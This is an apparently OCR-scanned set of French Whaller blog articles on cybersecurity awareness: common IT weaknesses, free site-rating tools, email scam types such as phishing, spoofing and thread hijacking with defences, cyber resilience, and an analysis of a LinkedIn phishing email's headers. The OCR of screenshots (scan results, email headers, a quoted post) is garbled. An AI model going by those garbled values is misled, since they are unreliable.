pements essentiels a des fins

financieéres.

L'utilisation de I'Internet des
objets (IoT) augmente chaque
jour. L'loT représente de nom-
breux composants électro-
nigues comme par exemple les
caméras de vidéoprotection,
des capteurs connectés tels
les appareils électroménagers,
les montres intelligentes, les
appareils médicaux ou les
automobiles. Plus d'appareils
connectés signifient une aug-

mentation des risques cyber.

Une fois controlés par des
hackers, les appareils loT
peuvent étre utilisés pour sur-
charger les réseaux, exploiter
des données sensibles ou ver-
rouiller des équipements
essentiels a des fins finan-

ciéres.



En 2016, le malware Mirai avait
compromis plusieurs milliers
de caméra a travers le monde
et réalisé une attaque qui avait
failli faire s'écrouler Internet.
Certains appareils ne
disposent pas de niveau de
sécurité suffisant, il faut alors
s'‘assurer que ces derniers ne
sont pas exposés directement
sur Internet mais aussi d’appli-
quer les correctifs et autres

mises a jour disponibles.

7. Gestion inadéquate
des correctifs

Le but d'un correctif, ou patch,
est d'éliminer une vulnérabilité
dans un programme logiciel.
Lorsque des vulnérabilités
sont détectées, les éditeurs
publient des correctifs pour
remédier aux risques cyber
liés a leurs systemes d'exploi-
tation et logiciels. Les correc-
tifs sont donc essentiels a la

sécurité de I'entreprise.

Pourtant, les correctifs sont
largement ignorés a la fois par
les utilisateurs et les services
informatique. Quelle que soit
la raison, de nombreuses
technologies restent non cor-
rigées, laissant les entreprises
et leurs données vulnérables

méme aux menaces de cyber-

sécurité les plus élémentaires.

8. Linjection de code

Les sites Internet collectent
des données sensibles au
travers de formulaires. Ces
derniers, lorsqu’ils sont mal
protégés, peuvent permettre a
un attaquant d'injecter des
requétes malveillantes.
Lorsque cela fonctionne l'atta-
quant peut alors accéder aux
contenus de bases de don-
nées mais également modifier

voire piéger des sites Internet.

Lapplication des principes de
I'OWASP permet de limiter ces
risques ; complétés par des
tests d'intrusion, il est possible
de détecter les faiblesses

éventuelles de sites web.

9. Cryptojacking

Les cybercriminels  vont
rechercher de la puissance de
calcul pour miner de la mon-
naie virtuelle. Pour cela, ils
vont soit cibler des utilisateurs
individuels ou compromettre
des serveurs en s‘appuyant
sur des vulnérabilités non cor-
rigées. Limpact sur les perfor-
mances pourra étre significatif
et la facture de consommation

électrique en hausse.
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Pour s'en prémunir la aussi
I'application des correctifs de
sécurité est un bon point de
départ. En le complétant avec
de la supervision, il sera alors
possible de détecter les
consommations de ressources

inhabituelles.

10. Une grave pénurie

de professionnels de la
cybersécurité

Derniére faiblesse : l'insuffi-
sance d'experts en cybersé-
curité pour faire face aux
cyber attaques croissantes. Il
convient donc de se mobiliser
pour recruter ces experts, non
seulement en les chassant,
mais également en acceptant
de les payer a la hauteur des
enjeux fondamentaux qu'ils
représentent. Il est également
nécessaire de proposer des
cursus de formation pour les
étudiants mais aussi pour
favoriser la reconversion pro-
fessionnelle vers cette théma-
tique. Se soucier des dix
points évoqués est un bon
point de départ. Néanmoins, il
conviendra de la compléter
par une analyse de risques
cyber mais aussi de se prépa-
rer a faire face a une cyberat-

taque.


https://fr.wikipedia.org/wiki/Open_Web_Application_Security_Project

Le site de I'ANSSI ainsi que les conseils de notre Directeur cybersécurité, Cyril Bras,

vous seront utiles pour étre en sécurité surinternet.
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https://www.ssi.gouv.fr/entreprise/bonnes-pratiques/
https://blog.whaller.com/2022/05/10/comment-naviguer-en-securite-sur-internet/

Comment évaluer de facon
simple le niveau de cybersécurité
d'une solution ?

Cybersécurité

En tant que client, il est parfois difficil de se faire une idée sur le niveau réel de mise en ceuvre de
la Cybersécurité dans une solution logicielle. Comment aller au-dela des présentations commer-

ciales tout en restant dans des opérations non intrusives ? C'est ce que vous propose cet article.
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Le cadre légal concernant les atteintes a la cybersécurité
Avant de rentrer dans le vif du sujet, un petit rappel sur le cadre |égal. La Iégislation francaise est trés
précise sur les atteintes aux systémes de traitement automatisé de données (STAD). Le code pénal

précise plusieurs points :

- 323-1Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un systeme de
traitement automatisé de données est puni de 3 ans d'emprisonnement et 100 000 € d'amende

- 323-2 Le fait d'entraver ou de fausser le fonctionnement d’'un systeme de traitement automatisé
de données est puni de 5 ans d’'emprisonnement et de 150 000 € d’amende

- 323-3 Le fait d'introduire frauduleusement des données dans un systéme de traitement automa-
tisé, d'extraire, de détenir, de reproduire, de transmettre, de supprimer ou de modifier frauduleu-
sement les données qu'il contient est puni de 5 ans d’'emprisonnement et de 150 000 € d'amende

- 323-7 La tentative des délits prévus par les articles 323-1a 323-3-1 est punie des mémes peines.

Il est donc hors de propos de tester le niveau de cybersécurité des plateformes en recherchant des

vulnérabilités ou des failles présentes, c'est tout simplement illégal !

Si vous souhaitez approfondir le volet juridique concernant la Cybersécurité, nous vous conseillons

la lecture du Code de la Cybersécurité aux éditions Dalloz.

Quels outils pour évaluer le niveau de cybersécurité d'une solution ?

Comme nous venons de le voir, il est n‘'est pas question d‘aller scanner un site internet, mais de sim-
plement naviguer et analyser les informations ainsi recueillies. En effet, plusieurs éléments per-
mettent de déterminer si des mesures relevant des bonnes pratiques de développement sont mises
en ceuvre. Nous allons pour cela nous appuyer sur différents outils en ligne gratuits. Lavantage d'une
telle approche, outre le fait qu'elle n‘est pas intrusive, permet de reproduire et de comparer facile-

ment différentes solutions.

¢ Retrouvez les 10 bonnes pratiques pour naviguer en sécurité sur internet.

Mozilla Observatory

Ce site attribue une note comprise entre A+ et F, F étant la pire en fonction de différents éléments
présents lors de la navigation. Seront évaluées par exemple la protection des cookies, I'implémenta-
tion de CSP ou encore de https. Il s'agit donc d'évaluer la mise en ceuvre de mesures préventives.
Tous les sites Web commencent avec un score de base de 100 et recoivent des pénalités ou des

bonus a partir de la. Le score minimum est 0, mais il n'y a pas de score maximum.
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https://www.legifrance.gouv.fr/codes/id/LEGITEXT000006070719
https://www.dalloz-bibliotheque.fr/bibliotheque/Code_de_la_cybersecurite_2022_annote_et_commente-108798.html
https://blog.whaller.com/2022/05/10/comment-naviguer-en-securite-sur-internet/

- Résultat du test de la plateforme collaborative Whaller

Scan Summary
Huost: mewhaller com
+ Scan 1T #; 35512639 (unlisted)
Start Time: March 22, 2023 617 AM
Druration: 14 seconds
Score: Bo/100

Tests Passed:  10/11

SNYK

Ce site attribue lui aussi une note comprise entre A+ et F. Celui-ci va notamment s'assurer que les
librairies Javascript utilisées ne présentent pas de vulnérabilités connues. Il teste également que les
en-tétes comportent bien les éléments suivants :

- strict-transport-security
- Xx-content-type-options
- x-frame-options

- content-security-policy

- X-Xss-protection

- Résultat du test de la plateforme Whaller

Security Analysis for: Webpage Securlty Score
https://my.whaller.com
Snyk’s security scan found the following vulnerabilities affecting your website. Ready 1o fix your

vulnerabilities? Automatically find, fix, and monitor vulnerabilities for free with Snyk.
A+ is the best score you can get.

; Learn more about this score.
Fix for free

Full report See on WebPageTest Scan time 3/21/2023
84720 FM
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https://my.whaller.com/
https://my.whaller.com/

Immuniweb
Ce site comme les précédents va tester la bonne implémentation des bonnes pratiques de cybersé-

curité mais va également s'assurer de la conformité aux exigences du RGPD.

- Résultat du test de la plateforme collaborative Whaller

Your final score

Tested on: Mar 22nd, 2023 09:29:24 GMT+1 A
Server IP: 91.134.163.193

Reverse DNS:  ip193.ip-91-134-163.eu

Location: Parisii c
Client: Desktop version

Ces différents outils permettent de se faire une opinion sur les bonnes pratiques de Cybersécurité
mises en ceuvre de facon autonome et reproductible. Elle facilite la comparaison en toute transpa-

rence des offres disponibles sur le marché.

La Cybersécurité, il y a ceux qui en parle et ceux qui la mettent en ceuvre.
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Comment détecter
une tentative d’'escroquerie

par mail ?

Cybersécurité

R

Toutes les entreprises, quelle
que soit leur taille, subissent
des cyberattaques. En
revanche, les petites et
moyennes entreprises (PME)
sont parfois moins armées
pour se défendre. Or les cybe-
rattaques peuvent étre trés
celles-ci,

codteuses pour

allant méme jusqu'a provo-

quer leur faillite.

C’est a l'aune de ce constat
que nous souhaitons attirer
votre attention sur les tenta-
tives d'escroquerie qui pésent
sur les messageries profes-
sionnelles. Elles sont des vec-
teurs d'attaques privilégiées,

car assez simples a mettre en
28

ceuvre pour le cybercriminel,
tout en permettant d'obtenir
des accés avancés dans l'en-

treprise.



Quelles sont les méthodes les
plus courantes ? Comment
détecter des tentatives d'es-
croquerie ? Que faire en cas de
cyberattaque ? Voici une liste
de 7 méthodes d'attaque par
courriel utilisées parles cyber-
criminels. Elles appartiennent
pour la plupart a l'ingénierie

sociale.

L'hameconnage

L'hamegonnage - phishing -
est l'attaque la plus répandue
d'apres le rapport annuel sur
I'état de la menace dressé par
I'European Union Agency for
Cybersecurity (ENISA). Il se
produit lorsque des hackers
créent un courriel congu pour
donner l'impression qu'il pro-
vient d'une entreprise réputée
ou d'une personne de
confiance. Le courriel contient
des liens ou des pieces jointes
malveillants qui, lorsqu’on
cligue dessus ou on les télé-
charge, conduisent la victime
a fournir des informations
confidentielles (numéros de
identifiant

de connexion...). Ces informa-

cartes bancaires,

tions seront ensuite reven-
dues ou utilisées par le cyber-

criminel.

Comment fonctionne
I'hameconnage ?

Pour donner [limpression
gu'un courriel illicite est Iégi-
time, les fraudeurs utilisent
souvent les couleurs de la
marque et le logo de l'entre-
prise qu’ils usurpent. Les liens
contenus dans I'email méne-
ront ensuite a des sites web de
phishing qui tenteront égale-
ment de se faire passer pour

une entreprise connue.

Quel en est le risque ?

La tentative d'escroquerie par
hameconnage va permettre a
I'attaquant  d'obtenir  par
exemple un acces au compte
informatique d'un utilisateur
victime. En effet, le site web de
phishing est congu pour vous
inciter a révéler vos informa-
tions d‘identification pour les
services bancaires, les emails
ou simplement le poste de
travail. Il va étre une copie
conforme du site original de la
structure visée. Aprés une
attaque de phishing réussie,
I'entreprise est alors acces-
sible aux hackers, comme si
vous leur aviez donné les clés

de votre maison.
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Comment réduire le
risque lié a une tenta-
tive d’/hameconnage ?
Un certain nombre d’indica-
teurs permettent de déjouer
un grand nombre de ces
attaques. Il faut étre attentif a

plusieurs éléments :

- Lexpéditeur est-il connu ?
Est-ce bien son adresse de
messagerie ?

- Lexpéditeur est-il un colla-
borateur de I'entreprise ?

- Lobjet du message est-il
en lien avec les activités
connues de I'expéditeur ?

- Ladate et I'heure d'expédi-
tion du message.

- Est-ce qu’il y a une forme
de pression psychologique
dans le corps du message ?

En complément, équiper son
poste informatique d'un anti-
virus analysant l'activité de
messagerie et de navigation
sera un bon complément. I
convient également de ne pas

répondre au message recu.

Si vous avez cliqué sur le
lien ou ouvert une piece jointe

malveillante :


https://www.enisa.europa.eu/publications/enisa-threat-landscape-2022

Conservez le courriel origi-
nal.

Lancez une analyse antivi-
rale de votre poste.

Changez vos identifiants de
messagerie, si vous avez com-
muniqué des données ban-
caires, contactez votre
banque.

Déposez plainte auprés de

la gendarmerie ou la police.

28 Apprenez 3 détecter une
menace informatique avec
notre Directeur cybersécu-

rité, Cyril Bras.

Le harponnage

Le harponnage ou spear-phi-
shing fonctionne comme le
phishing mais cible une per-
sonne ou une entreprise en

particulier.

Comment fonctionne la
tentative d'escroquerie
par harponnage ?

Alors que les attaques de phi-
shing envoient des emails en
grand nombre dans I'espoir
d'obtenir une « prise », le
spear-phishing cible une per-
sonne en particulier. Le cyber-
criminel a au préalable collec-

té des informations sur sa
cible afin de créer une sollici-
tation qui va lui paraitre la plus
Iégitime possible.

Quel en est le risque ?

S'adressant par son nom et
I'intitulé de son poste au desti-
nataire de I'email, le cybercri-
minel augmente ses chances
de succes. En effet, sa cible,
mise en confilance, tombe
dans le piege qui lui est tendu
en cliquant sur le lien présent
ou en ouvrant Iéventuelle

piece jointe.

Comment réduire le
risque lié a une tenta-
tive d’'harponnage ?

En appliquant les mémes me-
sures que pour |'hamecon-

nage classique.

L'usurpation d’emails

Lusurpation d'email est une
forme plus sophistiquée de
tentative d‘escroquerie par
phishing ou I'adresse email a
partir de laquelle I'email est
envoyé semble étre une
adresse légitime associée a
I'entreprise dont l'identité est

usurpée.
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Comment fonctionne
l'usurpation d'emails ?
Chaque email a un en-téte qui
est composé de lignes de
texte invisibles dans I'email.
Celles-ci permettent a votre
messagerie de savoir, notam-

ment, de qui provient I'email.

A l'aide de techniques sophis-
tiquées, il est possible de mo-
difier I'en-téte d'un email frau-
duleux pour donner l'impres-
d'une

sion qu’il provient

adresse légitime.

Quel en est le risque ?

Etant donné que l'adresse « de
provenance » dans I|'email
semble provenir d'un compte
authentique, I'attaque a beau-
coup plus de chances de réus-
sir. Les attaques d’usurpation
d’'identité

contenir des

peuvent alors
rancongiciels,
des virus ou exiger des paie-
ments de la part des salariés.
Par exemple, croyant l'email
authentique car signé par leur
président, des collaborateurs
d'une direction financiére vont
procéder au paiement en ligne
d'un faux fournisseur. On parle
alors de Business e-mail com-

promiss (BEC).


https://blog.whaller.com/2022/06/07/comment-detecter-une-menace-informatique/
https://www.linkedin.com/in/cyril-bras-cybersecurity

Comment réduire le
risque lié a lI'usurpation
d’'emails ?

Il est essentiel de bien lire le
champ expéditeur au complet.
En effet dans ce type dat-
taque, I'adresse réelle de l'at-
taguant apparaitra apres celle
de I'expéditeur usurpé. |l
convient également de mettre
en place au sein de lI'entreprise
des mécanismes de validation
interne ne permettant pas la
réalisation d'actions sensibles

par courriel.

. Si vous avez cliqué sur le

lien ou ouvert une piece jointe

Conservez le courriel origi-
nal.

Lancez une analyse antivi-
rale de votre poste.

Changez vos identifiants de
messagerie, si vous avez com-
muniqué des données ban-
caires, contactez votre
banque.

Déposez plainte aupres de

la gendarmerie ou la police.

. Décryptez une tentative
de fraude au président avec
un cas concret a I'encontre

de notre président, Thomas

Fauré.

Détournement de fil de
discussion par email

Il s'agit d'une forme plus éla-
borée d'ingénierie sociale ou
un cybercriminel s'infiltre dans
un serveur de messagerie et
intercepte une conversation
en cours. Cette tentative d'es-
croquerie peut faire suite a
une campagne d’hamecon-
nage ayant permis a latta-
quant de récupérer les identi-
flants d'accés a un compte
mail. Il va alors récupérer
I'intégralité des échanges pré-
sents sur le serveur et la liste
des destinataires. Il va alors
utiliser ces échanges depuis
une autre adresse de messa-
gerie pour reprendre le
contact. Vous pensez que
VOUs communiquez avec la
personne avec qui vous avez
communiqué, mais vous com-
muniquez en fait, maintenant,

avec un hacker.

Comment fonctionne le
détournement de fil de
discussion par email ?

Ces attaques sont bien sou-
vent la suite d'une campagne
d’hameconnage réussie ou
peuvent aussi se produire
lorsqu’'un serveur de messa-
gerie n'‘est pas a jour de ses

correctifs de sécurité.
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Quel en est le risque ?

Parce que l'attague s‘appuie
sur une conversation en cours,
son taux de réussite peut étre
extrémement  élevé. Les
risques sont multiples, l'atta-
guant peut obtenir des infor-
mations sensibles ou des don-
nées personnelles contenues
dans les courriels mais il peut
également vous inviter a ouvrir
une piece jointe piégée afin de
prendre le controle de votre

ordinateur.

Comment réduire le
risque lié au détourne-
ment de fil de discus-
sion par email ?

La signature électronique des
messages permet de déjouer
plus facilement ces attaques.
Les clients de messagerie pro-
posent aujourd’hui d‘ajouter
des signatures électroniques
au format OpenPGP.

Il arrive que les échanges
repris soient anciens (dépen-
dant de la date de piratage
initial de la messagerie de I'ex-
péditeur), cet indice doit étre
un point de vigilance. Dans le
doute, contacter I'expéditeur
par un autre canal (téléphone)

peut étre une solution.


https://blog.whaller.com/2022/08/18/fraude-cyber-president/
https://twitter.com/faure_t

Déni de service et at-
taques DDoS par email
Une attaque en déni de ser-
vice ou en déni de service
distribué (DDoS pour Distri-
buted Denial of Service en
anglais) vise a envoyer des
quantités massives d'emails a
un serveur de messagerie afin
de I'empécher de fonctionner
normalement, empéchant
ainsi les emails légitimes de

passer.

Comment fonctionne le
déni de service par
email ?

Il existe plusieurs manieres de
réaliser une attaque en dénide
service activer un botnet
pour bombarder un serveur de
messagerie avec des emails,
ou bien envoyer un torrent
demails avec d'énormes
pieces jointes de fichiers texte
au format zip. Le serveur rece-
vant le fichier le décompresse-
ra pour rechercher les logiciels
malveillants, ce qui ralentira
fortement les capacités du

serveur.

Quel en est le risque ?
Le but d'une attaque DDoS est

d'empécher le serveur de

messagerie de l'entreprise de
fonctionner normalement en
raison d'une surcharge, empé-
chant ainsi les salariés de se
servir de leur messagerie. Ce
type d'attaque peut conduire a
un arrét du serveur ciblé
nécessitant une lourde opéra-
tion de maintenance pour le

redémarrer.

Comment se protéger
d'une tentative de
DDoS ?

Il est possible de souscrire a
des offres de protection
anti-DDOS proposées par les
fournisseurs d'acces Internet
pour protéger le serveur de
messagerie. Un élément a
prendre en considération
lorsque vous souscrivez a une
offre d’hébergement ou de

messagerie.

Usurpation d’identité
ou email spoofing

Le spoofing, ou usurpation
d’'identité, se produit lorsqu'un
hacker utilise votre adresse de
messagerie pour envoyer des
courriels a partir de son propre

serveur de messagerie.
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Comment fonctionne
l'usurpation d‘identité
?

En sappuyant sur une erreur
de configuration au niveau du
nom de domaine e : maso-

ciete.fr.

Si dans votre configuration du
Domain Name Service (DNS)
vous n‘avez pas donné la liste
des serveurs l|égitimes pour
envoyer des courriels, vous
vous exposez alors a ce type
d'attaque. Il sera alors possible
pour l'attaquant d’envoyer des
courriels de pierre.dupont@-
masociete.fr, il sera alors tres
difficile de détecter le pot aux

roses.

Quel en est le risque ?

Bien que l'attaque ne vise pas
votre entreprise, elle peut
avoir des effets dévastateurs
sur la réputation de celle-ci,
les cybercriminels se servent
de vos noms de domaine pour
mener a bien leurs entreprises

criminelles



Comment se protéger
d'une tentative d'es-
croquerie par usurpa-
tion d'identité ?

Identifier clairement la liste
des serveurs de messagerie
Iégitimes en les déclarant
dans le champ Sender Per-
mitted From (SPF) de votre
domaine. Lactivation des
champs DomainKeys Identi-
fied Mail (DKIM) et Domain
Message Authentication
Reporting & Conformance
(DMARC) permettront égale-
ment au destinataire de véri-
fier grace a des signatures
électroniques que le serveur
utilisé est bien légitime. La
encore, ce sont des éléments
a exiger aupres de vos offreurs

de solution de messagerie.

Prise de controle d'une
messagerie

Il s‘agit de I'une des attaques
les plus dangereuses. La prise
de contrdle d'une messagerie
donne au hacker un acces
direct a un compte de messa-
gerie authentique dans I'en-
treprise. Cela lui permet d'en-
voyer des emails frauduleux
qui ne sont plus détectables.

Comment fonctionne la
prise de controle d’'une
messagerie ?

Dés qu’'un pirate dispose de
vos identifiants de connexion,
il peut envoyer et recevoir des
emails directement depuis
votre compte. Pour y parvenir,
il peut utiliser les sites web de
phishing vous demandant de
vous connecter avec votre
adresse email ou bien le vol
d'un téléphone portable ou

d'un PC non sécurisé.

Quel en est le risque ?

Etant donné que les emails
proviennent d'un compte
d'entreprise, tous les contréles
de sécurité internes sont
contournés. Les destinataires
sont alors floués. La seule mé-
thode

disposent pour le détecter est

dont ces derniers
de détecter un comportement
« anormal » du compte de
messagerie ou des demandes
soudaines d'informations sen-
sibles telles que des mots de
passe ou des coordonnées
bancaires.
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Comment réduire le
risque lié a la prise de
controéle d'une messa-
gerie ?

L'activation de l'authentifica-
tion a facteurs multiples (MFA)
permet de complexifier I'at-
taque. En effet bien que dispo-
sant de vos noms d'utilisateur
et de mot de passe, I'attaquant
ne pourra pas fournir le code
temporaire de validation.
Attention toutefois certains
cybercriminels utilisent la ruse
et suivant les informations
dont ils disposent pourraient
vous contacter en se faisant
passer pour le service infor-
matique pour vous demander
ce code par téléphone par

exemple.



Assurer la Cyber Résilience
dans un monde numerique
Incertain

Cybersécurité

[ &
b
%
> %

La Cyber Resilience des entreprises est désormais mise a I'épreuve comme jamais elle ne I'a été
auparavant. Aussi, pour y parvenir, il convient de tirer des enseignements des événements les plus

récents afin de préparer I'avenir.
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Le numérique, un outil
de déstabilisation

Le 23 février 2022, la veille de
I'invasion russe de |'Ukraine,
les systémes informatiques de
plusieurs ministeres, orga-
nismes gouvernementaux et
banques ukrainiens ont été la
cible de cyberattaques.
I'OTAN a

qu'une cyberattaque contre

Depuis, déclaré
I'un de ses membres déclen-
cherait l'article 5 de la Charte
de [I'OTAN,
celle-ci de riposter avec tous

permettant a
les moyens disponibles.
Depuis un an, les cyberat-
taques augmentent @ mesure
que le conflit s’intensifie.
Comme nous le voyons, le
numeérique joue un role impor-
tant, sinon décisif, dans le
conflit Ukraine-Russie.

Ainsi, pandémies, guerres,
compétition économique glo-
bale et questions climatiques
bouleversent l'ordre géopoli-
tigue mondial apparu apres la
chute du mur du Berlin en
1989. En conséquence de quoi,
pour les entreprises, l'acces
aux marchés et les chaines
d'approvisionnement étant
fortement perturbés, ce sont
autant de nouveaux défis

vitaux a relever.

Un risque majeur pour
I'infrastructure infor-
matique des entre-
prises

Rappelons-nous qu‘avant Ia
crise du Covid, il était déja
difficile pour de nombreuses

entreprises de suivre le
rythme des changements
technologiques. Depuis la

pandémie, le défi n'a fait que
s'accélérer : I'avenir du travail
et de la vie en regle générale
sera plus numérique que nous
ne I'avions imaginé. Cela signi-
fie que toutes les organisa-
tions - entreprises ou admi-
nistrations - dépendant des
datas, des outils numériques
et de
taches sont touchées.

'automatisation des

En effet, des vulnérabilités
dans n'importe quel domaine
comme le commerce, le suivi
clients, les ressources
humaines, les finances,
peuvent affecter la capacité
d’'une entreprise a survivre et
a continuer d'étre profitable.
Une entreprise doit donc inté-
grer la Cyber Résilience dans
tous les aspects de son orga-
nisation, de la production de
ses biens ou de ses services
en passant par ses infrastruc-
tures les plus critiques,
notamment son systeme d'in-
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formation.

En effet, les capacités techno-
logiques jouent un role déter-
minant dans le renforcement
de la résilience. La raison fon-
damentale est que plus
aucune entreprise ou une
organisation ne peut
aujourd’hui se passer du
numérique. Leur dépendance
vis-a-vis de ces technologies
augmente chaque jour. Aussi,
leur maitrise est essentielle a
la survie des entreprises. Elle
est méme, pour [|'‘écrasante
majorité des dirigeants, a la
lumiere de la crise du Covid, un
c'est-a-dire

enjeu crucial,

vital.

. En savoir plus : Managing
the Cyber Risks of Remote
Work.

La cybersécurité clé de
voUte de la Cyber Rési-
lience

Dans ce cadre, un dispositif
numeérique opérationnel ne se
contentera pas d‘assurer la
production et I'acces aux mar-
chés des biens ou des ser-
vices, la productivité de Ia
main-d’ceuvre et la génération
de profits a court et moyen

termes.


https://www.bcg.com/publications/2020/covid-remote-work-cyber-security

Pour véritablement y parvenir,
la direction des systemes d'in-
formation (DSI) responsable
du numérique devra surtout
se conformer a la stratégie de
cybersécurité définie par la
direction générale ou la direc-
tion Cybersécurité. Pour ce
faire les étapes clés, les
acteurs, la combinaison des
moyens humains et financiers
seront définis dans la Politique
de Sécurité des Systemes
d'Information (PSSI) de la

structure.

Car c'est bien elle, la cybersé-
curité, qui est désormais la clé
de volte de la résilience. Sans
elle, tout I'édifice s’effondrera ;
avec elle, la résilience pourra
étre menée a bien. Lacybersé-
curité est un peu comme le
contréle technigue automo-
bile. C'est elle qui va définir les
mesures de sécurité a mettre
en ceuvre, les seuils d'usure ou
d'obsolescence au-dela des-
quels la sécurité n'est plus
assurée, charge ensuite aux
garagistes de s’y conformer.
Qui accepterai que le contréle
technique de son véhicule soit
effectué par le garagiste ou le
loueur de voiture ? C'est pour
cette raison que le contrdle de
conformité, la définition des

regles de sécurité numérique

ne doit pas étre réalisé par les
services informatiques mais
par une instance extérieure
rattachée au plus haut niveau.

Voila la raison qui oblige les
dirigeants d'entreprises et
d'organisations a tout mettre
en oeuvre pour assurer leur
Cyber Résilience dans un
monde numérique incertain :
investir dans un systéeme d'in-
formation robuste et fiable
pour assurer la continuité des
activités, établir des plans de
continuité des activités en
veillant a ce qu'ils soient régu-
lierement mis a jour et testés,
et former leurs collaborateurs
a propos des risques et des
meilleures pratiques en ma-
tiere de sécurité afin de mini-

miser les vulnérabilités.

. En savoir plus : Adoptez
un systéme de communica-
tion et de collaboration en
parallele de votre systeme
S| pour assurer votre Cyber

Résilience.

Enfin, les dirigeants pourront
faire leur ce vieil adage latin
recommandant la préparation
au combat, « Si vis pacem,
para bellum » - Si tu veux la
paix, prépare la guerre - qui,
s'il avait été pensé pour les
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Etats, s'appliquent désormais
aux entreprises et aux organi-
sations tant les menaces
cyber s'apparentent a des faits

d'armes.


https://blog.whaller.com/2022/09/07/cyber-resilience-whaller-lance-son-offre-resilience/

LinkedIn

suite des attaques

Depuis plusieurs semaines, de
nombreux utilisateurs du
réseau social Linkedln ont été
victimes du piratage de leur
compte [1]. Ces derniers se
sont trouvés expulsés et ne
pouvaient alors plus accéder a
leur compte. Si certains se
sont vus réclamer une rancgon,

il semble a présent que les

Cybersécurité

attaquants passent a une
seconde phase, la collecte

d'informations personnelles.

La plupart des utilisateurs
souhaitent retrouver l'acces a
leur compte piraté et entre-
prennent des signalements
aupres de LinkedIn. Le réseau

social indique sur cette page
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Linked

https://www.linke -
din.com/help/linke-
din/answer/a1342692, les mo-
dalités pour justifier son iden-
tité. C'est alors que les atta-

quants entrent en scéne.


https://www.linkedin.com/help/linkedin/answer/a1342692

L'analyse du contenu du message
Ces derniers vont envoyer un courriel usurpant l'identité de LinkedIn et reprenant les conditions évo-
quées dans le lien cités supra. Ce message propose d'envoyer via un lien sécurisé une copie d'un

document d’identité.
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Premier élément suspect, le lien sécurisé de transfert hébergé chez 10tix.me, cela ressemble fort a

du hameconnage d'autant que ce service semble inconnu, pire la page web donne une erreur Json

150N Données brutes  En-tétes

Enregistrer Copier Tout réduire Tout développer

mESSage: "not found™
v BFTOTS:
"‘E‘:
path: of i
message: "not found®

L'analyse des en-tétes
Continuons a investiguer en regardant les en-tétes du courriel.

[sutet : [EXT] Reporing 2 Macked Acosnt [Encdent:
e ; “Eemmtance chenttle de Lnkedin® inkeden_ S8y lnkeon, coma
rrate ate

p_qa“ alttsl (ow o Sandss m nol suthorred by delast 10 aws Grkedn b@es rkedn com m mhoe dentty, Soweves domaen ® ot curently preparsd for Fainn fahores [mechanme ‘- al’ mitcsad]] recer -Fd—uq-.-ﬁ—-. r—
ﬂm—m"ﬂﬁm conm”; halommtac T2 mnk com; chent-p=130_35 244 141
! vl Jersa-shal; creladed FaghmENCIISE; d-03. kedn.com; ReContemt-Typd [From. Repdhy-TooTo-Date: SublectMIME- Versin Masiage- B, (=irkadn_Indics inkadin.com; bhePSsdy La=vHILIE - fuph
mtmmwﬁwmmnrmnumm-umv 3G e S 5 WLFFCHIM) e oy RV gRI SRS Ry TurSocs e TWIHE RFRoa ISHIC /Do [+LrsBurdris o=
fContent- Type: Mgt/ Atmmative; boundany="- - - =
A2 husstind chatia g Likidln® Arkadin e I-i-dn.-auu
versson de MIME: £ 0
[ID du message 1 <FNTT SFEMQEINEE ~ XBOGIIS —yWR TR - 008 T~ PR3, 14524 1 2601 BCRJIET L6 Jw ebacf. mE.nghtnow bech. coms

Etrange, il y a une erreur spf [2] (un champ qui permet de limiter I'usurpation d’adresse mail), le cour-
riel provenant de linkedin_fr@cs.linkedin.com n'est pas passé par un serveur déclaré dans le champ
spf de LinkedIn (rntac72.rnmk.com). Le message est accepté car les paramétres définis sur le
domaine linkedin.com sont permissifs et demandent a laisser passer les échecs mechanism ‘~all’

matched

Rnmk.com est affilié a Oracle
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130.35.144.141 was not found in our database

IsP Oracle Corpotation

Usage Type Data CenterWeb Hosting/Transit
Hostname(s) miacT2 mmk com

Domain Name oracle com

Country B United States of Amenca
City Ashbum, Virginia

Source Abuseipdb.com

Autant s'il s'agissait d'un serveur appartenant a Microsoft [3] le doute aurait été permis mais Oracle...

v=spfl ip4:129.152.44.123 ip4:129.152.44.124 ip4:129,152.44.125 ip4:129.152.44.115 include:linkedin.com ~all

Source mxtoolbox.com

L'adresse ne fait pas partie des serveurs autorisés !

Les attaquants exploitent une faiblesse de configuration sur le sous-domaine cs.linkedin.com pour
émettre des courriels frauduleux rendant la détection tres difficile pour le commun des mortels.

Globalement c'est I'ensemble des mécanismes de protection qui semblent inexistants, le champ
OpenDMARC est lui aussi trés permissif...

OpenDMARC; dmarc=fail (p=reject dis=none) header.from=cs.linkedin.com

DMARC Record for cs.linkedin.com

Ho DMARC Record found for sub-domain.

Organization Domain of thisz sub-domain is: linkedin.com Inbox Receivers will apply linkedin.com DMARC record to mail sent from cs.linkedin.com

SP Tag "' found: Inbax Receivers will treat all mail sent from cs.linkedin.com that fails DMARC as susplicious.

DMARC Record for linkedin.com (organizational domain)

w=DMARCL; p-reject; rua-mailto:df@rua.agari.com,mailto:yfy3q-9359@rua.dmarc.emailanalyst.com; ruf=mailto:d@ruf.agari.com,mailto:yfy3q-9359@ruf. dmarc.emailanalyst.com

Source mxtoolbox.com
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Et pourquoi ne pas le signaler a Linkedin ?
Si I'on recherche un petit peu sur le net on trouve cet article datant de janvier 2023 et évoquant déja
le probleme...

Linkedin Impersonation by
RightNowTech

@ Pk Wil EHT SRPE

| vami Roched oot o Linkedie Irem Saturdey nghl 10 prsbeidey. Wad anytheng
posied on mry acerunt fand then deleted]

Here bs tie theeat acior's information bedow. They sne running a boci-out snd
Idenstity Thalt eeam, peguetting i be uplcaded 1 “Linkedia", when 2 really goes
1 ther eraminal grosp, Already alered Linkedin, and contacted attonrey, but
pheme el free to chech your safety, and male sy additional report 10 Uinkedie
Eodd, Kb i SollecEive, we thould ol be kafe, snd implose Linkedin 10 take sction

gl theriar Thidat At s well ai all eompanie whe ol e, Thanl i

Wed, 18 Fan 2003 DECEESD «0100 [CET)

Reneheed-SPF: Sofvisd [maithom) identiny=madnom dient-ip= 170,35 b4, 041

helgemiac T tmk oo

https:/www.linkedin.com/pulse/linkedin-impersonation-rightnowtech-nicole-wright-cht-nlpp/

Pour conclure
Le phishing et I'ingénierie sociale sont des vecteurs d’attaque redoutables surtout s'ils sont combi-

nés a des configurations permissives.

Pour déceler ces messages il faut apprendre a les reconnaitre en s'appuyant par exemple sur les

recommandations du site cybermalveillance.

Dans le cas présent, le lien présent dans le message sans connexion avec LinkedIn doit mettre la
puce a l'oreille. Le second élément est visible dans I'en-téte des messages pour peu que lI'on aille les
